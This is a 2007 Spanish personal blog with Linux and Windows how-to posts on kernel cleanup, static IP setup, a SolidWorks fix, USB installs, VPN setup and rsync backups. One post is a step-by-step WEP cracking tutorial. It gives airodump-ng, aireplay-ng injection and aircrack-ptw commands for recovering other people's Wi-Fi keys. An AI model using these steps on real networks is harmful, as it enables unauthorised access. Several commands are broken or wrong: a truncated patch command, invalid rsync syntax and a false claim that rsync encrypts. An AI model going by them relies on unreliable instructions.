miércoles, 22 de agosto de 2007

Borrar kernel's viejos de Ubuntu

Leyendo las entradas viejas del blog de maverick, he encontrado este post, lo he visto tan interesante que no he podido resistirme a postearlo.

  1. Vemos la cantidad de kernel's antiguos que tenemos, sudo dpkg --get-selections | grep linux-image
  2. Después nos aparecerá una lista con los kernel's que tenemos instalados, y de ahí seleccionamos los que queramos borrar.
  3. Una vez localizado el que queremos borrar, sudo apt-get remove --purge linux-image-2.6.20-14-generic ( cambiando 2.6.20-14-generic, por el kernel que queramos quitar)

Como bien dice Maverick en su post es aconsejable no borrar el penúltimo por si sucede cualquier cosa poder volver a que teníamos antes.

Un saludo. Denos.

martes, 21 de agosto de 2007

Conectarnos a un AP sin dhclient

Primero que nada perdón por el tiempo sin aparecer pero he estado un poco ocupado, sin más, hoy os voy a explicar como conectarnos a un ap ( el cual sabemos su contraseña pero no sabemos en que rango se encuentra )
  1. El primer paso es instalarnos el wireshark : sudo aptitude install wireshark.
  2. Lo conectamos y nos ponemos a esnifar tráfico por nuestra tarjeta wifi ( seguramente será la eth1 )
  3. En cuanto se conecte y envíe un arp ya es nuestro. Ya conocemos el rango en el que se encuentra su pc.
  4. Siguiente paso es : ifconfig eth1 192.168.x.x ( cambiando las x's por los valores que hemos visto antes )
  5. Muy bien ahora ya podemos hacer ping a su máquina pero no podemos salir a internet, esto es por que nos falta poner el gateway, es tan sencillo como : route add default gw 192.168.x.x dev eth1

Con estos sencillos 5 pasos ya nos podemos conectar a una red en la cual no existe un servicio de dhclient.

Un saludo. Denos.

P.D. Prometo subir unas imágenes en cuanto pueda.

jueves, 9 de agosto de 2007

Solid Works no puede inicializar Visual Basic para las aplicaciones

Bueno se que s un poco extraño que ponga algo referente a Windows pero bueno. Hoy hemos tenido un problema a la hora de instalar en SolidWorks en la empresa, lo instalábamos todo bien pero en el momento de darle a la aplicación, me salía un error de visual basic.

Lo primero que he hecho ha sido instalar una versión del visual basic que tenía por ahí pero nada, después googleando un poco he visto que es un error bastante común y os comento como solucionarlo:
  1. Vamos a  "C:/Archivos de programa/microsoft office/office" y ahí debe aparecer una carpeta con el nombre de 3082 la arrastramos mientras pulsamos control y aparecerá "copia de 3082". 
  2. Muy bien ahora renombramos la carpeta de Copia de "3082" a "1033" todo sin comillas.
  3. Ahora nos dirigimos a " C:\Archivos de programa\Archivos comunes\Microsoft Shared\VBA\VBA6 ", donde también encontraremos una carpeta llamada "3082", hacemos lo de arrastrar mientras pulsamos el control en la misma carpeta y renombramos otra vez la carpeta a "1033"
Cerramos el explorador y abrimos el SolidWorks donde funciona todo perfectamente con macros, cálculos y todas las demás opciones.

Espero que si hay alguien apurado le pueda sacar de un problema.

Un saludo. Denos.

miércoles, 8 de agosto de 2007

Instalar linux desde USB

Cosa fácil, fácil de verdad.

  1. Ver que nuestro ordenador puede arrancar desde USB, eso lo tenéis que comprobar en la bios.
  2. Con la imagen descargada de Ubuntu podemos hacer dos cosas:
    1. Grabar la imagen.
    2. Montar la imagen con DaemonTools (descargar de aquí) y de ahí copiarlo al USB (recomiendo este paso para ahorrarnos un cd y no pagar el impuesto revolucionario a la SGAE)
  3. Copiar el contenido de nuestra distribución al USB que debe de estar en FAT, (que sepáis que va a tardar una barbaridad, por lo menos desde cd).
  4. Hacernos con syslinux 3.31. Descargar de aquí. Lo descomprimimos en c:\.
  5. Accedemos a c:\syslinux\win32 y tecleamos : syslinux.exe -f "E": (Donde E es la letra que corresponde a nuestro usb)
  6. Copiamos los archivos E:\casper\vmlinuz y E:\casper\initrd a la raiz de E:
  7. Copiamos el archivo E:\isolinux\isolinux.cfg a la raiz de E: y después lo renombramos como syslinux.cfg
  8. Modificar el principio de syslinux.cfg, para que quede así:
DEFAULT vmlinuz
GFXBOOT bootlogo
GFXBOOT-BACKGROUND 0xB6875A
APPEND boot=casper initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --

Bueno y una vez terminado con esto ya lo tenemos todo. Solo nos queda por decir en la bios que queremos que arranque desde el usb.

P.D
Solo comentaros que si guardáis algún fichero (p.e. en el escritorio) en este nuevo sistema no se conservarán las modificaciones, me imagino que será por la forma en que se han montado los datos.

Un saludo. Denos.

martes, 7 de agosto de 2007

VPN a la UPV con el kernel "2.6.20-16-generic"

Hay un problema con el nuevo ubuntu 7.04 (Feisty Fawn) y vpn client.

Tenemos:
  • Ubuntu versión del kernel : 2.6.20-16-generic (me imagino que funcionará con todos los kernels nuevos )
  • Vpn client versión : x86_64-4.8.00.0490-k9
Lo descargamos:

Vpn client versión : vpnclient-linux-x86_64-4.8.00.0490-k9.tar.gz
Vpn patch versión : vpnclient-linux-2.6.19+-rev1.diff

Muy bien ya lo tenemos todo:
  1. sudo mv vpnclient-linux-x86*.* /opt/
  2. cd /opt/
  3. sudo tar vxsf vpnclient-linux-x86*.*
  4. sudo mv vpnclient-linux-2.6.19*.* vpnclient/
  5. cd vpnclient
  6. sudo patch <>
  7. sudo ./vpn_install
  8. Cuando nos pregunte si queremos que se cargue el demonio automáticamente, le decimos que no ( Creo que es la segunda pregunta )
Con estos pasos ya lo tenemos todo ahora solo falta crear un script:
  1. sudo -s
  2. echo "#!/bin/bash" >> /bin/vpnaupv
  3. echo "sudo /etc/init.d/vpnclient_init restart" >> /bin/vpnaupv
  4. echo "sudo vpnclient connect -Aquí_va_nuestro_profile- pwd -Aquí_va_nuestro_password-" >> /bin/vpnaupv
  5. chmod +x /bin/vpnaupv
  6. chown tu_usuario:tu_usuario /bin/vpnaupv
Ahora le damos a " vpnaupv" y ya lo tenemos

Un saludo.

P.D.
Tener en cuenta que si os da un error vpn_install posiblemete sea que os falten las cabeceras
  1. sudo aptitude install linux-headers-`uname -r`
  2. sudo aptitude install linux-source-`uname -r`

Cracker redes con contraseña wep

Bueno pues el tutorial de hoy es para demostraros lo frágiles que son las redes con protección wep.

Lo primero de todo es descargar la distribución de aquí, la distribución es wifiway y la ventaja que tiene con respecto a otras distribuciones (Wifislax, Whoppix ) es que esta tiene inyección desde ipw3945.

Arrancamos la distribución siempre contando con que tenga el boot desde cd activo.

Los pasos a seguir son:

Primer bloque:
  1. airodump-ng rtap0 (podemos ejecutar esto para ver todos los datos que nos hacen falta)
  2. ifconfig wifi0 down
  3. chmod u+wrx /sys/class/net/wifi0/device/channel
  4. echo !canal! > /sys/class/net/wifi0/device/channel
  5. echo 2 > /sys/class/net/wifi0/device/rate
  6. echo !mac_del_ap! > /sys/class/net/wifi0/device/bssid
  7. ifconfig wifi0 up
Segundo bloque:
  1. airodump-ng -w !nombre_del_archivo! -c !canal! rtap0
  2. aireplay-ng -1 0 -e !nombre_del_ap! -a !mac_del_ap! -h !mi_mac! wifi0
  3. aireplay-ng -3 -b !mac_del_ap! -h !mi_mac! wifi0
  4. aircrack-ptw !archivo.cap!
Variables
  • !canal! --> Su propio nombre lo indica, hay que buscar el canal en el que emite el ap.
  • !nombre_del_archivo! --> El nombre con el que queremos crear el archivo.
  • !nombre_del_ap! --> Pues eso el nombre que tenga al ap.
  • !mac_del_ap! --> La mac del ap es la primera columna que nos aparece en el airodump.
  • !mi_mac! --> nuestra mac, si no la sabemos, ifconfig wifi0 y donde pone hardw los seis primeros pares.
  • !archivo.cap! --> el nombre con el que hemos guardado antes terminado en .cap (consejo, escribir el nombre y tabular para que os aparezcan todos los archivos, ya que, airodump los numero estomáticamente)
P.D.
Para más ayuda os recomiendo que os paséis por www.seguridadwireless.net

Un saludo. Denos.

miércoles, 1 de agosto de 2007

Copias de seguridad en linux (II)

Lo prometido es deuda, aquí tenéis algunas características de rsyn y algunos script que os pueden ser de ayuda.

RSYNC
  • ¿Cómo funciona?
    • Su funcionamiento es bastante sencillo, hace una lista con aquellos archivos que ha variado la fecha de modificación y/o tamaño.
    • Esos archivos los copia donde de forma encriptada y comprimida (que ya son dos buenas ventajas)
  • Ejemplos
    • rsync -rv src=source dest=destino
    • rsync -rv src=/home/ dest=/opt/
      • Copiamos todo lo que hay en el home en opt
    • rsync -rv src=/home/ usuario@maquina:/destino
      • Copiamos todo lo que hay en home y lo dejamos en una maquina remota con el usuario y la contraseña que le hayamos pasado al destino.
  • Recordad siempre que tenéis a vuestra dispersión " $man rsync " y que ahí tenéis toda la información que podáis necesitar.
Como veis con rsync y con el cron (que os explique en el post anterior) podemos hacer todas las copias de seguridad sin ningún problema.

Bueno un saludo.